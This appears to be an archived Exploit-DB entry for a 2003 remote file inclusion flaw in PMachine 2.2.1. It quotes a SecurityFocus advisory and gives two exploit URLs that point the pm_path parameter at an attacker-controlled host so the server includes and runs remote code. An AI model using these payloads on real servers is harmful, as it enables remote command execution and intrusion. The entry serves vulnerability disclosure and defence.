PMachine 2.2.1 - '/Lib.Inc.php' Remote File Inclusion / Command Execution

EDB-ID:

22776


Author:

frog

Type:

webapps


Platform:

PHP

Date:

2003-06-15


source: https://www.securityfocus.com/bid/7919/info

It has been reported that PMachine does not properly handle include files under some circumstances. Because of this, an attacker may be able to remotely execute commands.

http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=.txt with:

http://attacker.example.com/config.txt

or

http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt with:

http://attacker.example.com/config/badcode.txt